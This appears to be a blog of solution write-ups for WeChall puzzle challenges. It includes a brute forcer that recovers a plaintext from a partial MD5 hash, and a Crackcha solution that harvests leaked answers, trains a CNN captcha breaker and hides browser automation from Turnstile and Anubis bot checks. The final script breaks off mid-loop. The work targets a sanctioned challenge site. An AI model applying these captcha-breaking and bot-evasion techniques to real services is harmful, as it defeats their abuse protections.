Hello Navi

Tech, Security & Personal Notes

Challenge

题目要求提交一段 KVIrc script,向当前加入的所有 IRC channels 发送一条消息。

Solution

KVIrc 把每个 IRC channel 表示为一个 window。$window.list(channel,all) 可以枚举所有 IRC contexts 中的 channel windows;foreach 依次取出每个 window ID。say-r=<window_id> 参数把命令 rebind 到指定窗口,于是同一条消息会在每个 channel 中发送一次。

foreach (%x,$window.list(channel,all)) say -r=%x Merry Christmas!

Challenge

页面展示一个 3D 魔方(需 JavaScript + YUI 渲染),noscript fallback 里有一段 54 位数字 cubestring。 可以通过 api.php?move=<notation> 接口提交魔方转动,将魔方还原为 solved 状态。

Solution

核心难点在于 WeChall 的 cubestring 编码与标准 kociemba facelet 编码之间的映射。

1. Cubestring 格式

54 位数字,面序为 [U, L, F, R, B, D](每面 9 位),数字 1-6 代表 6 种颜色。 Solved 状态 = 111111111222222222333333333444444444555555555666666666

noscript 标签中直接暴露当前状态:

1
2
3
<noscript id="cubestring"
>225311553624124563661633443251441126415453262654265133</noscript
>

2. 服务器端 Cube 语义

通过逆向 rubik.js 中的 CUBIE_MOVEMENTS 和移植 cube.php 的 move 函数,确认服务器使用以下面序和转动语义:

  • 面序:U(0-8) L(9-17) F(18-26) R(27-35) B(36-44) D(45-53)
  • 每面内部为行主序(row-major),无翻转
  • 转动通过 front() + Y()/X() 组合实现(right = Y front Y'up = X' front X 等)

3. Kociemba 映射

kociemba 的面序为 [U, R, F, D, L, B]。映射 = 面序重排,面内恒等:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
KOC_ORDER = 'URFDLB'
SERVER_ORDER = 'ULFRBD'
M = []
for face in SERVER_ORDER:
kf = KOC_ORDER.index(face) * 9
M.extend(range(kf, kf + 9))

def cs_to_kociemba(cs):
out = ['?'] * 54
for i, ch in enumerate(cs):
out[M[i]] = ch
return ''.join(out)

def digit_to_letter(facelet):
centers = {i: facelet[i] for i in (4, 13, 22, 31, 40, 49)}
faces = {4: 'U', 13: 'R', 22: 'F', 31: 'D', 40: 'L', 49: 'B'}
d2l = {centers[i]: faces[i] for i in centers}
return ''.join(d2l[c] for c in facelet)

4. 完整 solve 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#!/usr/bin/env python3
"""WeChall Rubik's Cube solver: cubestring -> kociemba -> submit moves."""
import re
import urllib.request
import time

COOKIE = 'WC=YOUR_COOKIE_HERE'
BASE = 'https://www.wechall.net/en/challenge/space/rubikcube/api.php?move='
INDEX = 'https://www.wechall.net/en/challenge/space/rubikcube/index.php'

KOC_ORDER = 'URFDLB'
SERVER_ORDER = 'ULFRBD'
M = []
for face in SERVER_ORDER:
kf = KOC_ORDER.index(face) * 9
M.extend(range(kf, kf + 9))

def cs_to_kociemba(cs):
out = ['?'] * 54
for i, ch in enumerate(cs):
out[M[i]] = ch
return ''.join(out)

def digit_to_letter(facelet):
centers = {i: facelet[i] for i in (4, 13, 22, 31, 40, 49)}
faces = {4: 'U', 13: 'R', 22: 'F', 31: 'D', 40: 'L', 49: 'B'}
d2l = {centers[i]: faces[i] for i in centers}
return ''.join(d2l[c] for c in facelet)

# --- server Cube (ported from cube.php) ---

def rotate(cs, count=1):
moves = {0: 2, 2: 8, 8: 6, 6: 0, 1: 5, 5: 7, 7: 3, 3: 1}
out = cs
for _ in range(count):
ocube = out
lst = list(out)
for k, v in moves.items():
lst[v] = ocube[k]
out = ''.join(lst)
return out

class Cube:
def __init__(self, cube):
self.cube = cube

def move(self, moves):
for mv in moves.split(' '):
if mv == '':
continue
count = 3 if "'" in mv else (2 if '2' in mv else 1)
mv = mv[0]
funcs = {'F': 'front', 'R': 'right', 'B': 'back', 'U': 'up',
'L': 'left', 'D': 'down'}
if mv in funcs:
for _ in range(count):
getattr(self, funcs[mv])()

def isSolved(self):
a = sorted([self.cube[i*9:(i+1)*9] for i in range(6)])
b = sorted([str(i+1)*9 for i in range(6)])
return a == b

def front(self):
c = self.cube
m = {6: 27, 7: 30, 8: 33, 27: 47, 30: 46, 33: 45,
45: 11, 46: 14, 47: 17, 11: 8, 14: 7, 17: 6}
lst = list(c)
for k, v in m.items():
lst[v] = c[k]
lst[18:27] = rotate(''.join(lst[18:27]))
self.cube = ''.join(lst)

def Y(self):
self.cube = (rotate(self.cube[0:9], 1) +
self.cube[18:27] + self.cube[27:36] +
self.cube[36:45] + self.cube[9:18] +
rotate(self.cube[45:54], 3))

def X(self):
self.cube = (self.cube[2*9:3*9] +
rotate(self.cube[1*9:2*9], 3) +
self.cube[5*9:6*9] +
rotate(self.cube[3*9:4*9], 1) +
rotate(self.cube[0*9:1*9], 2) +
rotate(self.cube[4*9:5*9], 2))

def right(self):
self.Y(); self.front(); self.Y(); self.Y(); self.Y()

def back(self):
self.Y(); self.Y(); self.front(); self.Y(); self.Y()

def left(self):
self.Y(); self.Y(); self.Y(); self.front(); self.Y()

def up(self):
self.X(); self.X(); self.X(); self.front(); self.X()

def down(self):
self.X(); self.front(); self.X(); self.X(); self.X()

# --- main ---

import kociemba

# 1. Fetch current cubestring
req = urllib.request.Request(INDEX, headers={'Cookie': COOKIE})
body = urllib.request.urlopen(req, timeout=30).read().decode()
cs = re.search(r'<noscript id="cubestring">([0-9]+)</noscript>', body).group(1)
print(f"Cubestring: {cs}")

# 2. Convert to kociemba facelet and solve
kf = digit_to_letter(cs_to_kociemba(cs))
sol = kociemba.solve(kf)
moves = sol.split()
print(f"Solution ({len(moves)} moves): {sol}")

# 3. Verify locally
c = Cube(cs)
c.move(sol)
assert c.isSolved(), "Local verification failed!"

# 4. Submit moves to server
for i, mv in enumerate(moves):
url = BASE + mv.replace("'", "%27")
req = urllib.request.Request(url, headers={'Cookie': COOKIE})
resp = urllib.request.urlopen(req, timeout=30).read().decode()
text = re.sub(r'<[^>]+>', ' ', resp)
print(f" [{i+1}/{len(moves)}] {mv} -> {' '.join(text.split())[:80]}")
if 'solved' in resp.lower():
print("*** SOLVED! ***")
break
time.sleep(0.3)

# 5. Verify on /en/challs
req = urllib.request.Request('https://www.wechall.net/en/challs',
headers={'Cookie': COOKIE})
challs = urllib.request.urlopen(req, timeout=30).read().decode()
idx = challs.find('Rubik')
if idx >= 0 and 'wc_chall_solved' in challs[idx-300:idx+300]:
print("Confirmed: Rubik's Cube SOLVED on WeChall!")

Challenge

页面仅展示一张 256×256 JPEG 图片 bytes.jpg (27233 bytes),无文字描述。图片右侧是 9 行 × 3 列黑色数字(195, 642, 358, 178, 323, 587, 911, 365, 247),垂直排列。

Solution

对文件中 256 种可能的字节值 (0x00-0xFF) 各自计数,得到一个 256 元素的频率数组。将这些计数值作为 ASCII 字符串联起来,得到的文本就是 Morse 电码的英文拼写形式。

1
2
3
4
5
6
7
8
9
10
11
12
import collections

with open('bytes.jpg', 'rb') as f:
data = f.read()

freq = collections.Counter(data)
freq_seq = [freq.get(i, 0) for i in range(256)]

# 频率值 → ASCII 字符
text = ''.join(chr(f) if 32 <= f < 128 else f'[{f}]' for f in freq_seq)
print(text)
# 输出: [163][301]dahditdahdahgapditgapditditditgapdahgap...dahdahdah[256][256]

0x00 出现 163 次和 0x01 出现 301 次作为前缀,0xFE 和 0xFF 各出现 256 次作为后缀。

将频率文本中的 dah-dit.gap → 字母分隔:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 去掉结构标记,只保留 Morse 文字
morse_part = text.replace('[163]', '').replace('[301]', '').replace('[256]', '')
morse_chars = [c for c in morse_part.split('gap') if c]
symbols = [c.replace('dah', '-').replace('dit', '.') for c in morse_chars]

MORSE = {
'.-': 'A', '-...': 'B', '-.-.': 'C', '-..': 'D', '.': 'E',
'..-.': 'F', '--.': 'G', '....': 'H', '..': 'I', '.---': 'J',
'-.-': 'K', '.-..': 'L', '--': 'M', '-.': 'N', '---': 'O',
'.--.': 'P', '--.-': 'Q', '.-.': 'R', '...': 'S', '-': 'T',
'..-': 'U', '...-': 'V', '.--': 'W', '-..-': 'X', '-.--': 'Y',
'--..': 'Z',
}

decoded = ''.join(MORSE.get(s, f'[{s}]') for s in symbols)
print(decoded)
leonardo

Challenge

题面是一首诗歌,以及一个"weird formula"链接 inka.php

访问 inka.php 会得到随机的三个二进制数组成的表达式

1
A * B + C

其中 A ≈ 593 位、B/C ≈ 33 位,每次请求都重新生成。提示"some 3rd party lib"。

提交答案有严格限制:每个问题只能提交 1 次(错误/正确都会消耗该问题),提交错误会泄露正确答案(Correct would have been: XXX),但无法再提交;需重新 GET 才有新问题。答案固定 15 个大写字母。

另有响应时限:GET 到提交的间隔超限会返回 You are slow, slow, slow! You took Xs but your limit is Y.。limit 每次随机(实测出现过 0.50s 与 >5.3s),保险做法是单进程内 GET→解码→POST (本地解码仅需 0ms,zxingcpp scale=1 即可)。

Solution

关键洞察N = A * B + C 恰好是 625 位 = 25×25 = QR 码 Version 2。painting 就是一幅"墙上的画"(QR 码)!"3rd party lib" = QR 库(phpqrcode 之流)

解法流程:

  1. GET inka.php(需过 Anubis,用 techaro.lol-anubis-auth cookie jar)拿 painting
  2. 提取 A、B、C 三个二进制数
  3. N = A*B + C,转 625 位二进制,排成 25×25 矩阵
  4. 反色(painting 中 1=白 0=黑,zxing 需 inverted 才能解)
  5. QR 解码 → 15 字符答案
  6. 立即提交 inka.php?answer=<ANSWER>

Solve Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
"""WeChall Inka fast submit: GET painting -> decode QR -> POST answer within limit."""
import re, subprocess, sys, time
import numpy as np
from zxingcpp import read_barcode

URL = 'https://www.wechall.net/challenge/inka/inka.php'
JAR = '/tmp/anubis_inka_jar.txt' # anubis cookie jar
WC = 'WC=<your-session-cookie>'
UA = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36'

def curl(url):
return subprocess.run(['curl', '-s', '--max-time', '30', '-b', JAR, '-b', WC,
'-A', UA, '-H', f'Referer: {URL.rsplit("/", 1)[0]}/index.php', url],
capture_output=True, text=True).stdout

def decode_qr(A, B, C):
N = int(A, 2) * int(B, 2) + int(C, 2)
s = bin(N)[2:].rjust(625, '0')
mat = np.array([[1 if c == '1' else 0 for c in s[i * 25:(i + 1) * 25]] for i in range(25)], dtype=np.uint8)
img = np.pad(255 - mat * 255, 4, constant_values=255) # 1=white, quiet zone
res = read_barcode(img)
return res.text if res else None

for attempt in range(10):
body = curl(URL)
if 'Making sure' in body or not body:
time.sleep(2); continue # anubis 挡,重试
A, B, C = re.findall(r'[01]+', body.strip())
ans = decode_qr(A, B, C)
resp = curl(f'{URL}?answer={ans}') if ans else 'DECODE FAIL'
print(f'[{attempt}] answer={ans} | resp: {resp[:120].strip()}')
if 'slow' not in resp and 'DECODE FAIL' not in resp:
break

MD5 Broken (Cracking, Coding) by gizmore 每个字节缺一个 nibble 的部分 MD5,暴力破解 7 位小写字母明文

Challenge

题面给出一串 16 个 hex 字符(= 16 字节 MD5,每字节只显示一个 nibble), 明文是 7 位小写字母。显示的 hash "bound to your session"——每次新登录 session 会重新随机选择每个字节显示高/低哪个 nibble,但底层答案不变。

Solution

暴力破解 26^7 = 8,031,810,176 个组合,对每个候选算 MD5,检查 16 个 nibble 是否全部落在"高/低 nibble"集合内。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdatomic.h>
#include <pthread.h>
#include <openssl/evp.h>

#define LEN 7 /* 明文长度 */
#define BYTES 16 /* MD5 字节数 */
#define TOTAL 8031810176LL /* 26^7 */

static uint8_t partial[BYTES]; /* 每字节显示的高/低 nibble 值 */
static atomic_int found = 0; /* 全局找到标志 */
static char answer[LEN + 1]; /* 找到的明文 */
static long nthreads = 1; /* 线程数 */

/* 计算 MD5,结果写入 out[16] */
static void md5_digest(const unsigned char *msg, size_t len, unsigned char out[16])
{
EVP_MD_CTX *ctx = EVP_MD_CTX_new();
EVP_DigestInit_ex(ctx, EVP_md5(), NULL);
EVP_DigestUpdate(ctx, msg, len);
EVP_DigestFinal_ex(ctx, out, NULL);
EVP_MD_CTX_free(ctx);
}

/* 检查一个候选明文:MD5 的每个字节,高或低 nibble 必须命中 partial */
static inline int matches(const unsigned char *digest)
{
for (int i = 0; i < BYTES; i++) {
uint8_t hi = digest[i] >> 4, lo = digest[i] & 0xF;
if (partial[i] != hi && partial[i] != lo)
return 0;
}
return 1;
}

static void *worker(void *arg)
{
long tid = (long)arg;

/* 范围均分: [start, end) */
long long per = TOTAL / nthreads;
long long start = tid * per;
long long end = (tid == nthreads - 1) ? TOTAL : start + per;

unsigned char cand[LEN], digest[BYTES];
for (long long k = start; k < end; k++) {
if (atomic_load(&found))
break;
/* 每 1 亿个打一次进度 */
if ((k - start) % 100000000 == 0)
printf(" Thread %ld: %lld / %lld (%.1f%%)\n",
tid, k - start, per, 100.0 * (k - start) / per);

/* base-26 展开为 7 个小写字母 */
long long v = k;
for (int i = LEN - 1; i >= 0; i--) {
cand[i] = 'a' + (v % 26);
v /= 26;
}

md5_digest(cand, LEN, digest);
if (matches(digest)) {
memcpy(answer, cand, LEN);
answer[LEN] = '\0';
atomic_store(&found, 1);
printf("FOUND: %s\n", answer);
break;
}
}
return NULL;
}

int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: %s <partial_hex> [threads]\n", argv[0]);
return 1;
}
if (strlen(argv[1]) != BYTES) {
fprintf(stderr, "partial must be %d hex chars\n", BYTES);
return 1;
}
for (int i = 0; i < BYTES; i++) {
char c = argv[1][i];
if (c >= '0' && c <= '9') partial[i] = c - '0';
else if (c >= 'a' && c <= 'f') partial[i] = c - 'a' + 10;
else if (c >= 'A' && c <= 'F') partial[i] = c - 'A' + 10;
else { fprintf(stderr, "invalid hex char: %c\n", c); return 1; }
}
nthreads = argc > 2 ? atol(argv[2]) : 16;
if (nthreads < 1) nthreads = 1;

printf("Starting brute force: %lld combinations across %ld threads\n", TOTAL, nthreads);
printf("Partial hash: %s\n", argv[1]);

pthread_t *th = malloc(sizeof(pthread_t) * nthreads);
for (long t = 0; t < nthreads; t++)
pthread_create(&th[t], NULL, worker, (void *)t);
for (long t = 0; t < nthreads; t++)
pthread_join(th[t], NULL);

if (atomic_load(&found))
printf("ANSWER: %s\n", answer);
else
printf("NOT FOUND in range\n");
return 0;
}

Python 参考实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
import hashlib
import sys


def matches(md5_hex: str, partial: str) -> bool:
"""partial: 16 个 nibble,每字节显示高或低 nibble"""
for i in range(16):
bv = int(md5_hex[i * 2:i * 2 + 2], 16)
pn = int(partial[i], 16)
if pn != ((bv >> 4) & 0xF) and pn != (bv & 0xF):
return False
return True


def crack(start: int, end: int, partial: str):
"""按字典序索引 [start, end) 搜索 7 位小写字母明文"""
for k in range(start, end):
v = k
chars = []
for _ in range(7):
chars.append(chr(ord('a') + v % 26))
v //= 26
cand = ''.join(reversed(chars))
if matches(hashlib.md5(cand.encode()).hexdigest(), partial):
return cand
return None


if __name__ == '__main__':
partial = sys.argv[1] if len(sys.argv) > 1 else "3a45b89f570f5527"
start = int(sys.argv[2]) if len(sys.argv) > 2 else 0
end = int(sys.argv[3]) if len(sys.argv) > 3 else 26 ** 7
ans = crack(start, end, partial)
print(f"ANSWER: {ans}")

Challenge

Crackcha 要求在 30 分钟内破解至少 468 个 WC4_Captcha(在线自动化题,无静态答案)。每次 reset 开始一个新窗口,problem.php 返回一张 captcha 图片,answer.php?answer=[letters] 提交答案,答对计数 +1,满 468 自动通关。没有静态 flag,解法就是写出一个能跑赢 30 分钟窗口的识别器。

Source Analysis

gwf3 源码 challenge/crackcha/crackcha.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
define('WCC_CRACKCHA_NEED', 468); # need to crack 600
define('WCC_CRACKCHA_TIME', 1800); # within 30 minutes

function crackcha_next(WC_Challenge $chall)
{
require_once GWF_CORE_PATH.'inc/3p/Class_Captcha.php';
$chars = GWF_Random::randomKey(5, GWF_Random::ALPHAUP); // 5 个大写字母
crackcha_increase_count();
GWF_Session::set('WCC_CRACKCHA_CHARS', $chars);
$aFonts = array(GWF_PATH.'extra/font/teen.ttf'); // 固定字体
$rgbcolor = GWF_CAPTCHA_COLOR_BG; // 白色背景
$oVisualCaptcha = new PhpCaptcha($aFonts, 210, 42, $rgbcolor);
$oVisualCaptcha->Create('', $chars);
}

function crackcha_answer(WC_Challenge $chall)
{
if ($answer === $solution)
{
crackcha_increase_solved();
echo $chall->lang('msg_success', array(GWF_Session::getOrDefault('WCC_CRACKCHA_SOLVED', 0), WCC_CRACKCHA_NEED));
// "You cracked captcha N of 468 needed."
if (crackcha_solved())
{
GWF_Module::loadModuleDB('Forum', true, true);
Module_WeChall::includeForums();
$chall->onChallengeSolved(GWF_Session::getUserID());
}
}
else
{
echo $chall->lang('msg_failed', array($answer, $solution));
// "Your answer (X) was wrong. Correct would have been Y." —— 泄露正确答案
}
GWF_Session::remove('WCC_CRACKCHA_CHARS');
}

PhpCaptcha(core/inc/3p/Class_Captcha.php)渲染参数:

1
2
3
4
5
6
7
8
define('CAPTCHA_NUM_CHARS', 5);
define('CAPTCHA_NUM_LINES', 80); // 80 条干扰线
define('CAPTCHA_MIN_FONT_SIZE', 16); // 字号 16-25 随机
define('CAPTCHA_MAX_FONT_SIZE', 25);
define('CAPTCHA_FILE_TYPE', 'jpeg');
// 字符颜色 rand(0,100) 灰度,干扰线颜色 rand(100,250) 灰度
// 字符 x 位置固定: $iX = (int)($this->iSpacing / 4 + $i * $this->iSpacing) = 10 + 42*i
// 角度 rand(-30, 30)

三个关键事实:

  1. 字符位置固定:5 个字符分别落在 x = 10, 52, 94, 136, 178 起、宽 42px 的 slot 里,可以按位置切分后独立分类
  2. 错误提交泄露答案answer.php 答错时返回 Correct would have been XXX,但随即清除 session 里的 chars——泄露的答案不能直接复用,却可以用来收集标注数据(拿图 → 提交错误答案 → 拿到真答案)
  3. 30 分钟窗口超时自动重置crackcha_next()crackcha_round_over() 时自动插入 highscore 并重置计数,problem.php 此时返回纯文本而非 JPEG

Solution

Step 1: 泄露答案收集标注数据

每轮 2 个请求:problem.php 拿图,answer.php?answer=AAAAA 拿泄露的真答案。400 张图约 5 分钟。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3
"""Collect labeled crackcha images via answer-leak (submit wrong answer -> server reveals real one)."""
import sys, time, os, re
from playwright.sync_api import sync_playwright

COOKIE = 'YOUR_WC_SESSION_ID' # 裸 session id,不要带 WC= 前缀
BASE = 'https://www.wechall.net/en/challenge/crackcha'
CHROME = '/home/kita/.cache/ms-playwright/chromium-1217/chrome-linux64/chrome'
N = int(sys.argv[1]) if len(sys.argv) > 1 else 150
IMGDIR = 'dataset/images'
os.makedirs(IMGDIR, exist_ok=True)
TSV = 'dataset/answers.tsv'

def leak_answer(text):
m = re.search(r'Correct would have been ([A-Z]{5})', text)
return m.group(1) if m else None

def main():
with sync_playwright() as p:
browser = p.chromium.launch(headless=True, executable_path=CHROME,
args=['--disable-blink-features=AutomationControlled', '--no-sandbox'])
ctx = browser.new_context(user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) '
'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36')
ctx.add_cookies([{'name': 'WC', 'value': COOKIE, 'domain': '.wechall.net', 'path': '/'}])
page = ctx.new_page()
page.goto(BASE + '/index.php', wait_until='domcontentloaded', timeout=60000)
try:
page.wait_for_load_state('networkidle', timeout=15000)
except Exception:
pass
for i in range(30): # Turnstile 自动解决,轮询等 challenge 页出现
try:
html = page.content()
except Exception:
time.sleep(2); continue
if 'Crackcha' in html and 'problem.php' in html:
break
time.sleep(2)

got = 0
with open(TSV, 'a') as tsv:
while got < N:
img = None
for attempt in range(4): # round 重置时 problem 返回文本,重试
resp = page.request.get(BASE + '/problem.php')
body = resp.body()
if body[:2] == b'\xff\xd8':
img = body; break
time.sleep(1.5)
if img is None:
print(' problem fetch failed'); time.sleep(2); continue
fn = f'img{got:04d}.jpg'
with open(os.path.join(IMGDIR, fn), 'wb') as f:
f.write(img)
text = page.request.get(BASE + '/answer.php', params={'answer': 'AAAAA'}).text()
real = leak_answer(text)
if real is None:
print(f' {got}: no leak in response: {text[:80]}')
os.remove(os.path.join(IMGDIR, fn))
time.sleep(2); continue
tsv.write(f'{fn}\t{real}\n')
tsv.flush()
got += 1
if got % 10 == 0:
print(f' collected {got}/{N} (last: {fn} {real})')
time.sleep(0.4)
browser.close()
print(f'done: {got} samples in {IMGDIR}')

if __name__ == '__main__':
main()

Step 2: 训练 CNN 识别器

字符是 GD 在 palette 图像上渲染的(FreeType 灰度被映射到最近的调色板色,产生锯齿),加上 JPEG 8x8 块边缘的 ringing 会在干扰线旁产生深色伪影,阈值/形态学/Hough 都分离不干净。数据驱动路线更稳:42x42 slot → 26 类分类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python3
"""Train with more data + mild augmentation + bigger model."""
import os, random
import numpy as np
import torch
import torch.nn as nn
from PIL import Image, ImageDraw

torch.manual_seed(42)
np.random.seed(42)
random.seed(42)

DS = 'dataset'
OUT = 'model.pt'
DEV = 'cuda' if torch.cuda.is_available() else 'cpu'

def get_slot(a, i):
x0 = 10 + 42 * i
s = a[:, x0:x0+42]
if s.shape[1] < 42:
s = np.pad(s, ((0, 0), (0, 42 - s.shape[1])))
return s

def load_data():
xs, ys = [], []
with open(os.path.join(DS, 'answers.tsv')) as f:
rows = [l.split() for l in f if l.strip()]
for fn, ans in rows:
a = np.array(Image.open(os.path.join(DS, 'images', fn)).convert('L'), dtype=np.float32)
for i, ch in enumerate(ans):
xs.append(get_slot(a, i))
ys.append(ord(ch) - 65)
X = np.stack(xs) / 255.0
Y = np.array(ys)
return X, Y

def aug(x):
im = (1.0 - x) * 255.0
img = Image.fromarray(im.astype(np.uint8))
img = img.rotate(random.uniform(-6, 6), fillcolor=0)
dx = random.randint(-2, 2); dy = random.randint(-2, 2)
img = img.transform(img.size, Image.AFFINE, (1, 0, dx, 0, 1, dy), fillcolor=0)
if random.random() < 0.5: # 模拟干扰线
d = ImageDraw.Draw(img)
for _ in range(random.randint(1, 2)):
d.line([(random.randint(0, 41), random.randint(0, 41)),
(random.randint(0, 41), random.randint(0, 41))],
fill=random.randint(110, 170), width=random.randint(1, 2))
arr = np.array(img, dtype=np.float32) * random.uniform(0.9, 1.1)
return 1.0 - arr / 255.0

class Net(nn.Module):
def __init__(self):
super().__init__()
self.net = nn.Sequential(
nn.Conv2d(1, 32, 3, padding=1), nn.ReLU(), nn.MaxPool2d(2),
nn.Conv2d(32, 64, 3, padding=1), nn.ReLU(), nn.MaxPool2d(2),
nn.Conv2d(64, 128, 3, padding=1), nn.ReLU(), nn.MaxPool2d(2),
nn.Flatten(),
nn.Linear(128 * 5 * 5, 256), nn.ReLU(), nn.Dropout(0.4),
nn.Linear(256, 26),
)
def forward(self, x):
return self.net(x)

def main():
X, Y = load_data()
print(f'data: {X.shape}, device {DEV}')
n_img = len(X) // 5
rng = np.random.RandomState(1)
val_img_ids = set(rng.choice(n_img, max(1, n_img // 8), replace=False))
tr_idx = [i for i in range(len(X)) if i // 5 not in val_img_ids]
va_idx = [i for i in range(len(X)) if i // 5 in val_img_ids]
Xtr, Ytr, Xva, Yva = X[tr_idx], Y[tr_idx], X[va_idx], Y[va_idx]
print(f'train {len(Xtr)} val {len(Xva)}')

model = Net().to(DEV)
opt = torch.optim.Adam(model.parameters(), lr=2e-3)
lossf = nn.CrossEntropyLoss()
Xva_t = torch.tensor(Xva, dtype=torch.float32).unsqueeze(1).to(DEV)
Yva_t = torch.tensor(Yva, dtype=torch.long).to(DEV)

best_va = 0; best_state = None
for epoch in range(40):
model.train()
perm = np.random.permutation(len(Xtr))
for start in range(0, len(perm), 128):
idx = perm[start:start+128]
bx = np.stack([aug(Xtr[i]) for i in idx])
xb = torch.tensor(bx, dtype=torch.float32).unsqueeze(1).to(DEV)
yb = torch.tensor(Ytr[idx], dtype=torch.long).to(DEV)
opt.zero_grad()
loss = lossf(model(xb), yb)
loss.backward(); opt.step()
model.eval()
with torch.no_grad():
va_acc = (model(Xva_t).argmax(1) == Yva_t).float().mean().item()
print(f'epoch {epoch}: val_acc {va_acc:.4f}')
if va_acc > best_va:
best_va = va_acc
best_state = {k: v.clone() for k, v in model.state_dict().items()}
if va_acc > 0.98:
break
torch.save({'model': best_state}, OUT)
print(f'saved {OUT} best_val={best_va:.4f}')

if __name__ == '__main__':
main()

Step 3: 求解循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#!/usr/bin/env python3
"""Final Crackcha run: solve until 468, monitoring solved count."""
import time, os, re
import numpy as np
import torch
from PIL import Image
import io
from playwright.sync_api import sync_playwright
from train_cnn2 import Net, get_slot

COOKIE = 'YOUR_WC_SESSION_ID'
BASE = 'https://www.wechall.net/en/challenge/crackcha'
CHROME = '/home/kita/.cache/ms-playwright/chromium-1217/chrome-linux64/chrome'
DEV = 'cuda'
CONF_MIN = 0.7 # 置信度阈值:低于则丢弃本轮不提交
TARGET = 468
HARD_TIME = 3600 # 秒上限(可跨 round 重置继续跑)

model = Net().to(DEV)
model.load_state_dict(torch.load('model.pt', map_location=DEV)['model'])
model.eval()

def recog(b):
a = np.array(Image.open(io.BytesIO(b)).convert('L'), dtype=np.float32)
slots = np.stack([get_slot(a, i) for i in range(5)]) / 255.0
x = torch.tensor(slots, dtype=torch.float32).unsqueeze(1).to(DEV)
with torch.no_grad():
p = torch.softmax(model(x), 1).cpu().numpy()
# 5 个字符各自 top1 概率的最小值 = 本轮置信度
return ''.join(chr(65 + int(r.argmax())) for r in p), float(p.max(axis=1).min())

def parse_solved(text):
m = re.search(r'cracked captcha (\d+) of', text)
return int(m.group(1)) if m else None

def main():
t0 = time.time()
solved = 0
rounds = 0
with sync_playwright() as p:
browser = p.chromium.launch(headless=True, executable_path=CHROME,
args=['--disable-blink-features=AutomationControlled', '--no-sandbox'])
ctx = browser.new_context(user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) '
'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36')
ctx.add_cookies([{'name': 'WC', 'value': COOKIE, 'domain': '.wechall.net', 'path': '/'}])
page = ctx.new_page()
page.goto(BASE + '/index.php', wait_until='domcontentloaded', timeout=60000)
try:
page.wait_for_load_state('networkidle', timeout=15000)
except Exception:
pass
for i in range(60):
try:
html = page.content()
except Exception:
time.sleep(2); continue
if 'Crackcha' in html and 'problem.php' in html:
break
if 'Making sure' in html or 'not a bot' in html:
print(f' turnstile page, waiting for auto-solve')
time.sleep(15)
else:
time.sleep(2)

while solved < TARGET:
if time.time() - t0 > HARD_TIME:
print(f'HARD TIME LIMIT reached at solved={solved}')
break
img = None
for attempt in range(4):
resp = page.request.get(BASE + '/problem.php')
body = resp.body()
if body[:2] == b'\xff\xd8':
img = body; break
if img is None:
print(' problem failed, retrying'); time.sleep(2); continue
rounds += 1
guess, conf = recog(img)
if conf < CONF_MIN: # 低置信度直接丢弃,不提交
time.sleep(0.5)
continue
text = page.request.get(BASE + '/answer.php', params={'answer': guess}).text()
if 'too much' in text.lower():
print(f' RATE LIMITED at solved={solved}, cooling 60s')
time.sleep(60)
continue
ns = parse_solved(text)
if ns is not None and ns > solved:
solved = ns
if solved % 25 == 0:
dt = time.time() - t0
rate = solved / dt
eta = (TARGET - solved) / rate if rate > 0 else 0
